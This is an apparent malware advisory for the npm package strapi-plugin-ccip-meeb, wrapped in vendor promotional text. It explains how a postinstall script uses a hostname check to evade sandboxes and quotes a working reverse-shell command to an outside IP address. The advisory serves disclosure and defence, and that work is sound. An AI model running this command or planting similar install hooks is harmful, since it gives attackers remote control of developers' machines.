Malicious code in strapi-plugin-ccip-meeb (npm)
MAL-2026-16226
Published · Modified
Dependency scanning
Check whether strapi-plugin-ccip-meeb is in your codebase
Corgea flags malicious and compromised dependencies with reachability analysis, so you fix the packages that actually run in your application instead of working through the whole lockfile.
Description
__
Source: amazon-inspector (fbf7a24da69c80ba7475efcb12c97f1be8b4ebbed42b47131ac9716ff38d5620)
strapi-plugin-ccip-meeb@3.6.8 declares scripts.postinstall = 'node postinstall.js', so postinstall.js runs automatically on npm install. The script imports child_process and checks os.hostname() against a hardcoded value ('ubuntu-fc-uvm'); when the hostname matches, it executes bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1", opening an interactive reverse shell from the installer's host to 14.225.210.85:80. The hostname gate causes the payload to remain dormant on unrelated hosts and fire only in the attacker's expected target environment, a targeting/sandbox-evasion pattern. The package name mimics a legitimate Strapi plugin scope but the shipped code has no plugin functionality consistent with that name; the postinstall reverse shell is the substantive behavior.
References
Ready to move
Start Securing
Free, no credit card | First findings in minutes